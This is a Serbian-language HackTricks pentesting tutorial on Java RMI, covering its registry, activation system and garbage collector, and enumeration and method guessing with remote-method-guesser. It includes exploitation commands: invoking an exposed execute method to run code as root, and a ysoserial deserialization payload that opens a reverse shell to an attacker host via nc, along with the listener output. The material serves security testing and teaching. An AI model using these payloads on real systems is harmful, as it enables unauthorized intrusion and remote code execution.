hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md
2024-02-10 13:11:20 +00:00

18 KiB

1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:


Koristite Trickest da biste lako izgradili i automatizovali radne tokove uz pomoć najnaprednijih alata zajednice.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Osnovne informacije

Java Remote Method Invocation, ili Java RMI, je mehanizam objektno orijentisanog RPC-a koji omogućava objektu smeštenom u jednoj Java virtuelnoj mašini da poziva metode na objektu smeštenom u drugoj Java virtuelnoj mašini. Ovo omogućava programerima da pišu distribuirane aplikacije koristeći objektno orijentisan paradigmu. Kratak uvod u Java RMI sa ofanzivne perspektive možete pronaći u ovom blackhat govoru.

Podrazumevani port: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Obično su samo podrazumevane komponente Java RMI (RMI registar i Aktivacioni sistem) vezane za uobičajene portove. Udaljeni objekti koji implementiraju stvarnu RMI aplikaciju obično su vezani za slučajne portove, kao što je prikazano u prethodnom izlazu.

nmap ponekad ima problema sa identifikacijom SSL zaštićenih RMI servisa. Ako naiđete na nepoznat ssl servis na uobičajenom RMI portu, trebali biste dalje istražiti.

RMI Komponente

Da bismo to pojednostavili, Java RMI omogućava programeru da učini Java objekat dostupnim na mreži. To otvara TCP port na kojem se klijenti mogu povezati i pozivati metode na odgovarajućem objektu. Iako zvuči jednostavno, postoje nekoliko izazova koje Java RMI mora rešiti:

  1. Da bi se izvršio poziv metode putem Java RMI, klijenti moraju znati IP adresu, slušajući port, implementiranu klasu ili interfejs i ObjID ciljanog objekta (ObjID je jedinstveni i slučajni identifikator koji se kreira kada se objekat stavi na mrežu. Potreban je jer Java RMI omogućava više objekata da slušaju na istom TCP portu).
  2. Udaljeni klijenti mogu alocirati resurse na serveru pozivanjem metoda na izloženom objektu. Java virtuelna mašina mora pratiti koje od ovih resursa su još uvek u upotrebi, a koje od njih mogu biti prikupljeni smećem.

Prvi izazov je rešen pomoću RMI registra, koji je zapravo servis za imenovanje Java RMI. Sam RMI registar takođe je RMI servis, ali implementirani interfejs i ObjID su fiksni i poznati svim RMI klijentima. To omogućava RMI klijentima da koriste RMI registar samo znajući odgovarajući TCP port.

Kada programeri žele da svoje Java objekte učine dostupnim u mreži, obično ih vezuju za RMI registar. Registar čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, slušajući port, implementirana klasa ili interfejs i vrednost ObjID) i čini ih dostupnim pod ljudski čitljivim imenom (vezano ime). Klijenti koji žele da koriste RMI servis traže od RMI registra odgovarajuće vezano ime, a registar vraća sve potrebne informacije za povezivanje. Dakle, situacija je praktično ista kao i sa običnom DNS uslugom. Sledeći primer prikazuje mali primer:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Drugi od navedenih izazova rešava se preko Distributed Garbage Collector (DGC). Ovo je još jedna RMI usluga sa poznatom vrednošću ObjID i dostupna je na praktično svakom RMI endpointu. Kada RMI klijent počne koristiti RMI uslugu, šalje informaciju DGC-u da je odgovarajući udaljeni objekat u upotrebi. DGC može pratiti broj referenci i može očistiti nekorišćene objekte.

Zajedno sa zastarelim Activation System-om, ovo su tri podrazumevana komponente Java RMI-a:

  1. RMI Registry (ObjID = 0)
  2. Activation System (ObjID = 1)
  3. Distributed Garbage Collector (ObjID = 2)

Podrazumevane komponente Java RMI-a su poznati vektori napada već neko vreme i postoje višestruke ranjivosti u zastarelim verzijama Java-e. Sa perspektive napadača, ove podrazumevane komponente su interesantne jer implementiraju poznate klase / interfejse i lako je moguće da se sa njima interaguje. Ova situacija je drugačija za prilagođene RMI usluge. Da biste pozvali metod na udaljenom objektu, morate unapred znati odgovarajući potpis metoda. Bez poznavanja postojećeg potpisa metoda, nema načina za komunikaciju sa RMI uslugom.

Enumeracija RMI-a

remote-method-guesser je skener ranjivosti Java RMI-a koji je sposoban da automatski identifikuje uobičajene RMI ranjivosti. Kada identifikujete RMI endpoint, trebali biste ga isprobati:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Izlaz akcije enumeracije je detaljnije objašnjen na stranicama dokumentacije projekta. Ovisno o rezultatu, trebali biste pokušati provjeriti identificirane ranjivosti.

Vrijednosti ObjID koje prikazuje remote-method-guesser mogu se koristiti za određivanje vremena rada usluge. To može omogućiti identifikaciju drugih ranjivosti:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing metode na daljinskim objektima

Čak i kada nisu identifikovane ranjivosti tokom enumeracije, dostupne RMI usluge mogu i dalje izlagati opasne funkcije. Osim toga, iako je komunikacija RMI prema podrazumevanim komponentama zaštićena filterima za deserijalizaciju, kada se radi sa prilagođenim RMI uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na RMI uslugama je stoga vredno.

Nažalost, Java RMI ne podržava enumeraciju metoda na daljinskim objektima. Međutim, moguće je pokušati sa brutalnom silom metoda koristeći alate poput remote-method-guesser ili rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Identifikovane metode mogu se pozvati na sledeći način:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Ili možete izvršiti napade deserializacije na sledeći način:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Više informacija može se pronaći u ovim člancima:

Osim pogađanja, takođe biste trebali pretraživati pretraživače ili GitHub za interfejs ili čak implementaciju naiđenog RMI servisa. Ovdje mogu biti korisni "bound name" i naziv implementirane klase ili interfejsa.

Poznati interfejsi

remote-method-guesser označava klase ili interfejse kao poznate ako su navedeni u internoj bazi podataka alata za poznate RMI servise. U tim slučajevima možete koristiti akciju known da biste dobili više informacija o odgovarajućem RMI servisu:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Alati

Reference

HackTricks Automatske Komande

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: